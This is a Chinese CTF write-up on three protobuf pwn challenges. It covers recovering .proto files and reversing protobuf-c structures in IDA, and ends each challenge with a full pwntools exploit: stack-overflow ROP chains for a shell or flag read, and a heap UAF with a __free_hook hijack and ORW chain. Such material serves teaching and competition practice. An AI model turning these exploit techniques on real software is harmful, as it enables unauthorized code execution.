protobuf pwn題專項

S1nyer發表於2024-08-03

protobuf pwn

準備工作

安裝protobuf編譯器

sudo apt-get install libprotobuf-dev protobuf-compiler  

安裝python依賴庫

pip3 install grpcio
pip3 install grpcio-tools googleapis-common-protos

安裝pbtk

git clone https://github.com/marin-m/pbtk

ggbond

來自DubheCTF2024的一道GO protobuf題

提取proto檔案

如果pbtk的圖形化介面打不開,也可以用命令列,切換到pbtk的extractors目錄下,輸入下面命令進行提取

./from_binary.py input_file [output_dir]

得到ggbond.proto

syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
    rpc Handler(Request) returns (Response);
}

message Request {
    oneof request {
        WhoamiRequest whoami = 100;
        RoleChangeRequest role_change = 101;
        RepeaterRequest repeater = 102;
    }
}

message Response {
    oneof response {
        WhoamiResponse whoami = 200;
        RoleChangeResponse role_change = 201;
        RepeaterResponse repeater = 202;
        ErrorResponse error = 444;
    }
}

message WhoamiRequest {
    
}

message WhoamiResponse {
    string message = 2000;
}

message RoleChangeRequest {
    uint32 role = 1001;
}

message RoleChangeResponse {
    string message = 2001;
}

message RepeaterRequest {
    string message = 1002;
}

message RepeaterResponse {
    string message = 2002;
}

message ErrorResponse {
    string message = 4444;
}

切到.proto檔案的目錄,輸入下面命令

python3 -m grpc_tools.protoc -I . --python_out=. --grpc_python_out=. ggbond.proto

編譯得到py檔案

分析程式邏輯

IDA定位到程式main_main入口

image

grpc建立服務這裡能看到ptr_main_server,跟進可以發現main__ptr_server_Handler,結合proto檔案可知這個是rpc業務邏輯處理函式,也就是我們主要分析的程式碼

根據逆向可以得到程式的大致邏輯:

程式有三種訊息格式:

  • Whoami:列印當前的規則
  • RoleChange:更改當前的規則(一共有四種規則,0到3)
  • Repeater:傳送資訊 ,但僅在規則3下伺服器才處理收到的資訊

匯入依賴檔案,寫出互動函式

import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64
channel_port = "127.0.0.1:23334"

def who():
    channel = grpc.insecure_channel(channel_port)
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
    response = stub.Handler(request)
    print("Response from Handler:", response)

def Role(ty):
    channel = grpc.insecure_channel(channel_port)
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
    response = stub.Handler(request)
    print("Response from Handler:", response)

def Rep(data):
    channel = grpc.insecure_channel(channel_port)
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
    stub.Handler(request)

接下來我們看規則3下伺服器是如何處理傳送的資訊的

image

將傳送的資訊base64解碼之後有個棧上的copy,很明顯這裡有溢位,v47指向棧上的變數v73,得到溢位偏移為0xC8

image

接下來就是常規go題的ret2syscall了

exp指令碼

提供了shell和ORW兩種打法

from pwn import *
import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64
channel_port = "127.0.0.1:23334"

def who():
    channel = grpc.insecure_channel(channel_port)
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
    response = stub.Handler(request)
    print("Response from Handler:", response)

def Role(ty):
    channel = grpc.insecure_channel(channel_port)
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
    response = stub.Handler(request)
    print("Response from Handler:", response)

def Rep(data):
    channel = grpc.insecure_channel(channel_port)
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
    stub.Handler(request)

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./ggbond"
p = process(file)
elf = ELF(file)

#gdb.debug(file, "b *0x7EE028\nb *0x7ED9D9")

Role(3)
rax = 0x00000000004101e6
rdi = 0x0000000000401537
rsi = 0x0000000000422398
rdx = 0x0000000000461bd1
syscall = 0x000000000040452c

# ROPgadget --string "flag\x00" --binary ggbond
flag = 0x00000000007f95ba
buf = elf.bss(0x800)

# system
rop = b'a'*0x68 + b'\x00'*0x60
rop += p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(59) + p64(rdi) + p64(buf) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)

# ORW
""" rop = b'a'*0xc8
rop += p64(rax) + p64(2) + p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
rop += p64(rax) + p64(0) + p64(rdi) + p64(8) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall) """

p.send('/bin/sh\x00')
try:
    Rep(base64.b64encode(rop))
except:
    p.interactive()

StrangeTalkBot

一道CISCN2023初賽的C protobuf堆題,我覺得難點更多是在逆向部分(還原proto內容)

還原proto檔案

檢視主函式

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  unsigned __int64 v3; // [rsp+0h] [rbp-10h]
  char *v4; // [rsp+8h] [rbp-8h]

  sub_1763();
  while ( 1 )
  {
    memset(byte_A060, 0, sizeof(byte_A060));
    puts("You can try to have friendly communication with me now: ");
    v3 = read(0, byte_A060, 0x400uLL);
    v4 = sub_192D(0LL, v3, byte_A060);
    if ( !v4 )
      break;
    sub_155D(*(v4 + 3), *(v4 + 4), *(v4 + 5), *(v4 + 6), *(v4 + 7));
  }
  sub_1329();
}

迴圈read讀到byte_A060,然後函式sub_192D處理讀入的位元組。跟進可以發現sub_192D就是解析protobuf位元組流的函式,返回對應的C結構體

為了理解protobuf在c是如何工作的,我下載了protobuf-c編譯器以及protobuf-c的git專案(這裡是為了獲得一些關鍵的標頭檔案定義

sudo apt install protobuf-c-compiler
git clone https://github.com/protobuf-c/protobuf-c.git

接著我定義了一個測試proto檔案並編譯得到.h和.c檔案

syntax = "proto2";

message testMessage {
    required string name = 1;
    required sint64 id = 2;
    required bytes buffer = 3;
    required uint32 size = 4;
}

test.pb-c.h

/* Generated by the protocol buffer compiler.  DO NOT EDIT! */
/* Generated from: test.proto */

#ifndef PROTOBUF_C_test_2eproto__INCLUDED
#define PROTOBUF_C_test_2eproto__INCLUDED

#include <protobuf-c/protobuf-c.h>

PROTOBUF_C__BEGIN_DECLS

#if PROTOBUF_C_VERSION_NUMBER < 1000000
# error This file was generated by a newer version of protoc-c which is incompatible with your libprotobuf-c headers. Please update your headers.
#elif 1003003 < PROTOBUF_C_MIN_COMPILER_VERSION
# error This file was generated by an older version of protoc-c which is incompatible with your libprotobuf-c headers. Please regenerate this file with a newer version of protoc-c.
#endif


typedef struct _TestMessage TestMessage;


/* --- enums --- */


/* --- messages --- */

struct  _TestMessage
{
  ProtobufCMessage base;
  char *name;
  int64_t id;
  ProtobufCBinaryData buffer;
  uint32_t size;
};
#define TEST_MESSAGE__INIT \
 { PROTOBUF_C_MESSAGE_INIT (&test_message__descriptor) \
    , NULL, 0, {0,NULL}, 0 }


/* TestMessage methods */
void   test_message__init
                     (TestMessage         *message);
size_t test_message__get_packed_size
                     (const TestMessage   *message);
size_t test_message__pack
                     (const TestMessage   *message,
                      uint8_t             *out);
size_t test_message__pack_to_buffer
                     (const TestMessage   *message,
                      ProtobufCBuffer     *buffer);
TestMessage *
       test_message__unpack
                     (ProtobufCAllocator  *allocator,
                      size_t               len,
                      const uint8_t       *data);
void   test_message__free_unpacked
                     (TestMessage *message,
                      ProtobufCAllocator *allocator);
/* --- per-message closures --- */

typedef void (*TestMessage_Closure)
                 (const TestMessage *message,
                  void *closure_data);

/* --- services --- */


/* --- descriptors --- */

extern const ProtobufCMessageDescriptor test_message__descriptor;

PROTOBUF_C__END_DECLS


#endif  /* PROTOBUF_C_test_2eproto__INCLUDED */

test.pb-c.c

/* Generated by the protocol buffer compiler.  DO NOT EDIT! */
/* Generated from: test.proto */

/* Do not generate deprecated warnings for self */
#ifndef PROTOBUF_C__NO_DEPRECATED
#define PROTOBUF_C__NO_DEPRECATED
#endif

#include "test.pb-c.h"
void   test_message__init
                     (TestMessage         *message)
{
  static const TestMessage init_value = TEST_MESSAGE__INIT;
  *message = init_value;
}
size_t test_message__get_packed_size
                     (const TestMessage *message)
{
  assert(message->base.descriptor == &test_message__descriptor);
  return protobuf_c_message_get_packed_size ((const ProtobufCMessage*)(message));
}
size_t test_message__pack
                     (const TestMessage *message,
                      uint8_t       *out)
{
  assert(message->base.descriptor == &test_message__descriptor);
  return protobuf_c_message_pack ((const ProtobufCMessage*)message, out);
}
size_t test_message__pack_to_buffer
                     (const TestMessage *message,
                      ProtobufCBuffer *buffer)
{
  assert(message->base.descriptor == &test_message__descriptor);
  return protobuf_c_message_pack_to_buffer ((const ProtobufCMessage*)message, buffer);
}
TestMessage *
       test_message__unpack
                     (ProtobufCAllocator  *allocator,
                      size_t               len,
                      const uint8_t       *data)
{
  return (TestMessage *)
     protobuf_c_message_unpack (&test_message__descriptor,
                                allocator, len, data);
}
void   test_message__free_unpacked
                     (TestMessage *message,
                      ProtobufCAllocator *allocator)
{
  if(!message)
    return;
  assert(message->base.descriptor == &test_message__descriptor);
  protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator);
}
static const ProtobufCFieldDescriptor test_message__field_descriptors[4] =
{
  {
    "name",
    1,
    PROTOBUF_C_LABEL_REQUIRED,
    PROTOBUF_C_TYPE_STRING,
    0,   /* quantifier_offset */
    offsetof(TestMessage, name),
    NULL,
    NULL,
    0,             /* flags */
    0,NULL,NULL    /* reserved1,reserved2, etc */
  },
  {
    "id",
    2,
    PROTOBUF_C_LABEL_REQUIRED,
    PROTOBUF_C_TYPE_SINT64,
    0,   /* quantifier_offset */
    offsetof(TestMessage, id),
    NULL,
    NULL,
    0,             /* flags */
    0,NULL,NULL    /* reserved1,reserved2, etc */
  },
  {
    "buffer",
    3,
    PROTOBUF_C_LABEL_REQUIRED,
    PROTOBUF_C_TYPE_BYTES,
    0,   /* quantifier_offset */
    offsetof(TestMessage, buffer),
    NULL,
    NULL,
    0,             /* flags */
    0,NULL,NULL    /* reserved1,reserved2, etc */
  },
  {
    "size",
    4,
    PROTOBUF_C_LABEL_REQUIRED,
    PROTOBUF_C_TYPE_UINT32,
    0,   /* quantifier_offset */
    offsetof(TestMessage, size),
    NULL,
    NULL,
    0,             /* flags */
    0,NULL,NULL    /* reserved1,reserved2, etc */
  },
};
static const unsigned test_message__field_indices_by_name[] = {
  2,   /* field[2] = buffer */
  1,   /* field[1] = id */
  0,   /* field[0] = name */
  3,   /* field[3] = size */
};
static const ProtobufCIntRange test_message__number_ranges[1 + 1] =
{
  { 1, 0 },
  { 0, 4 }
};
const ProtobufCMessageDescriptor test_message__descriptor =
{
  PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,
  "testMessage",
  "TestMessage",
  "TestMessage",
  "",
  sizeof(TestMessage),
  4,
  test_message__field_descriptors,
  test_message__field_indices_by_name,
  1,  test_message__number_ranges,
  (ProtobufCMessageInit) test_message__init,
  NULL,NULL,NULL    /* reserved[123] */
};

生成的程式碼有點冗長,對逆向有幫助的主要在test.pb-c.c檔案裡面,宣告瞭很多靜態全域性變數,例如描述訊息欄位的test_message__field_indices_by_name陣列以及描述訊息的全域性變數test_message__descriptor,其中描述訊息的全域性變數第一個成員是常量PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC = 0x28AAEEF9,用IDA全域性搜尋該常量

image

很明顯在我們要找的是在資料段的結果,而在該常量上面就是我們需要的訊息欄位描述結構體陣列

現在我們知道描述訊息中單個欄位的結構體叫ProtobufCFieldDescriptor,從這個結構體中我們能提取到ProtobufCLabelProtobufCType這兩個重要的列舉型別,下面的程式碼同時也給出了ProtobufCFieldDescriptor的結構體定義,我們將這三個結構體匯入到IDA中

enum ProtobufCLabel
{
  PROTOBUF_C_LABEL_REQUIRED = 0x0,      ///< A well-formed message must have exactly one of this field.
  PROTOBUF_C_LABEL_OPTIONAL = 0x1,      ///< A well-formed message can have zero or one of this field (but not
                                        ///< more than one).
  PROTOBUF_C_LABEL_REPEATED = 0x2,      ///< This field can be repeated any number of times (including zero) in a
                                        ///< well-formed message. The order of the repeated values will be
                                        ///< preserved.
  PROTOBUF_C_LABEL_NONE = 0x3,          ///< This field has no label. This is valid only in proto3 and is
                                        ///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
};

enum ProtobufCType
{
  PROTOBUF_C_TYPE_INT32 = 0x0,          ///< int32
  PROTOBUF_C_TYPE_SINT32 = 0x1,         ///< signed int32
  PROTOBUF_C_TYPE_SFIXED32 = 0x2,       ///< signed int32 (4 bytes)
  PROTOBUF_C_TYPE_INT64 = 0x3,          ///< int64
  PROTOBUF_C_TYPE_SINT64 = 0x4,         ///< signed int64
  PROTOBUF_C_TYPE_SFIXED64 = 0x5,       ///< signed int64 (8 bytes)
  PROTOBUF_C_TYPE_UINT32 = 0x6,         ///< unsigned int32
  PROTOBUF_C_TYPE_FIXED32 = 0x7,        ///< unsigned int32 (4 bytes)
  PROTOBUF_C_TYPE_UINT64 = 0x8,         ///< unsigned int64
  PROTOBUF_C_TYPE_FIXED64 = 0x9,        ///< unsigned int64 (8 bytes)
  PROTOBUF_C_TYPE_FLOAT = 0xA,          ///< float
  PROTOBUF_C_TYPE_DOUBLE = 0xB,         ///< double
  PROTOBUF_C_TYPE_BOOL = 0xC,           ///< boolean
  PROTOBUF_C_TYPE_ENUM = 0xD,           ///< enumerated type
  PROTOBUF_C_TYPE_STRING = 0xE,         ///< UTF-8 or ASCII string
  PROTOBUF_C_TYPE_BYTES = 0xF,          ///< arbitrary byte sequence
  PROTOBUF_C_TYPE_MESSAGE = 0x10,       ///< nested message
};

struct ProtobufCFieldDescriptor {
	/** Name of the field as given in the .proto file. */
	const char		*name;
	/** Tag value of the field as given in the .proto file. */
	uint32_t		id;
	/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
	ProtobufCLabel		label;
	/** The type of the field. */
	ProtobufCType		type;
	/**
	 * The offset in bytes of the message's C structure's quantifier field
	 * (the `has_MEMBER` field for optional members or the `n_MEMBER` field
	 * for repeated members or the case enum for oneofs).
	 */
	unsigned		quantifier_offset;
	/**
	 * The offset in bytes into the message's C structure for the member
	 * itself.
	 */
	unsigned		offset;
	const void		*descriptor; /* for MESSAGE and ENUM types */
	/** The default value for this field, if defined. May be NULL. */
	const void		*default_value;
	uint32_t		flags;
	/** Reserved for future use. */
	unsigned		reserved_flags;
	/** Reserved for future use. */
	void			*reserved2;
	/** Reserved for future use. */
	void			*reserved3;
};

然後還原訊息欄位描述結構體陣列

image

由此可以還原出程式的proto檔案如下

syntax = "proto2";

message Devicemsg {
    required sint64 actionid = 1;
    required sint64 msgidx = 2;
    required sint64 msgsize = 3;
    required bytes msgcontent = 4;
}

最後用protoc編譯該proto檔案為py程式碼

可知sub_192D處理後返回的C語言結構體佈局如下

struct  _Devicemsg
{
  ProtobufCMessage base;  //這個在IDA匯入時可以用 unint64_t base[3]; 代替
  int64_t actionid;
  int64_t msgidx;
  int64_t msgsize;
  ProtobufCBinaryData msgcontent;
};

struct ProtobufCBinaryData {
	size_t	len;        /**< Number of bytes in the `data` field. */
	uint8_t	*data;      /**< Data bytes. */
};

將該結構體匯入IDA,設定main函式v4的型別為Devicemsg*

image

分析程式邏輯

看NSS討論區說是2.31-0ubuntu9.9_amd64,glibc all in one沒能找到這個版本,所以用的是2.31-0ubuntu9.15_amd64,雖然版本存在小差異,但思路是差不多的

常規的堆題選單且delete存在UAF

存在這些限制:

  • 只能建立 0x21 個堆
  • 堆的大小和msgcontent長度不能超過 0xf1
  • 程式開啟了沙盒禁用了execve呼叫

因為禁用了execve,所以不能打ogg或者system

image

利用思路也很清晰:

  • 填滿tcache然後再free一個堆到unsorted bin,透過UAF leak出libc
  • 寫free_hook利用magic_gadget進行棧遷移
  • 打ORW ROP

exp指令碼

from pwn import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

#-----------------------------------------------------------------------------------------
sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./service"
libc = "./libc.so.6"
#cmd = ""

#p = gdb.debug(file, cmd)
p = process(file)
elf = ELF(file)
libc = ELF(libc)
#p = remote("node4.anna.nssctf.cn", 28245)
import message_pb2

def add(i,s,c):
        msg = message_pb2.Devicemsg()
        msg.actionid = 1
        msg.msgidx = i
        msg.msgsize = s
        msg.msgcontent = c
        sa(': \n',msg.SerializeToString())
def free(i):
        msg = message_pb2.Devicemsg()
        msg.actionid = 4
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = b''
        sa(': \n',msg.SerializeToString())
def show(i):
        msg = message_pb2.Devicemsg()
        msg.actionid = 3
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = b''
        sa(': \n',msg.SerializeToString())
def edit(i,c):
        msg = message_pb2.Devicemsg()
        msg.actionid = 2
        msg.msgidx = i
        msg.msgsize = 0
        msg.msgcontent = c
        sa(': \n',msg.SerializeToString())

for i in range(8):
        add(i,0xf0,b'')
for i in range(8):
        free(i)

show(7)
rc(0x50)
libc_base = uu64()-0x1ecbe0
lg("libc_base", libc_base)
show(0)
rc(8)
heap_base = uu64() - 0x10
lg('heap_base',heap_base)

pop_rdi_ret = libc_base+0x0000000000023b6a
pop_rsi_ret = libc_base+0x000000000002601f
pop_rdx_r12_ret = libc_base+0x0000000000119431
pop_rax_ret = libc_base+0x0000000000036174
syscall_ret = libc_base+0x00000000000630a9

payload = p64(libc_base+libc.sym["__free_hook"]) + flat([
        libc_base+0x0000000000025b9b,
        0,
        heap_base+0xad0,
        pop_rdi_ret,
        heap_base+0xad0,
        pop_rsi_ret,
        0,
        pop_rdx_r12_ret,
        0,
        0,
        pop_rax_ret,
        2,
        syscall_ret, # open
        pop_rdi_ret,
        3,
        pop_rsi_ret,
        heap_base+0xad0,
        pop_rdx_r12_ret,
        0x30,
        0,
        pop_rax_ret,
        0,
        syscall_ret, # read
        pop_rdi_ret,
        1,
        pop_rax_ret,
        1,
        syscall_ret, # write
])
edit(6, payload)
debug("b *$rebase(0x1561)")
payload = flat({
        0x00: 0x67616c662f2e, # ./flag
        0x28: libc_base+0x00000000000578c8,
        0x48: heap_base+0xfa0
}).ljust(0x50, b'\x00')
add(8, 0xf0, payload)
magic_gadget = libc_base+0x15500A
"""
mov     rbp, [rdi+48h]
mov     rax, [rbp+18h]
lea     r13, [rbp+10h]
mov     dword ptr [rbp+10h], 0
mov     rdi, r13
call    qword ptr [rax+28h]
"""
add(9,0xf0,p64(magic_gadget))
free(8)

inter()

protoverflow

CISCN2024 華中半決賽的題,C++ protobuf題,題目不難溢位點很明顯,可惜當時因為python環境有問題導致沒能寫出來(哭哭

提取protobuf檔案

和GO語言那道一樣直接指令碼提取得到proto檔案

syntax = "proto2";

message protoMessage {
    optional string name = 1;
    optional string phoneNumber = 2;
    required bytes buffer = 3;
    required uint32 size = 4;
}

分析程式邏輯

主函式很簡單,先洩露libc然後讀取使用者輸入,再解析protobuf流

image

之後的處理函式中memcpy存在很明顯的棧溢位,直接打ret2libc即可

image

exp指令碼

from pwn import *
import struct

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

#-----------------------------------------------------------------------------------------
sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

import message_pb2
context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = './pwn'
p = process([file], env= {"LD_LIBRARY_PATH":"./"})
elf = ELF(file)
libc = ELF(p.libc.path)

# debug('b *$rebase(0x332f)')

ru(b'0x')
libc_base = int(rc(12), 16) - libc.sym['puts']
lg('libc_base', libc_base) 
rdi = libc_base + 0x000000000002a3e5
ret = rdi + 1
system, binsh = get_sb()

pl = b'a'*0x218
pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
msg = message_pb2.protoMessage()
msg.name="1"
msg.phoneNumber="2"
msg.buffer = pl
msg.size = len(pl)
serialized_msg = msg.SerializeToString()
sd(serialized_msg)
inter()

參考文章:python基礎--protobuf的使用(一)_protobuf py-CSDN部落格

【Python進階學習】gRPC的基本使用教程_grpc 同一個連結 保持變數引數-CSDN部落格

相關文章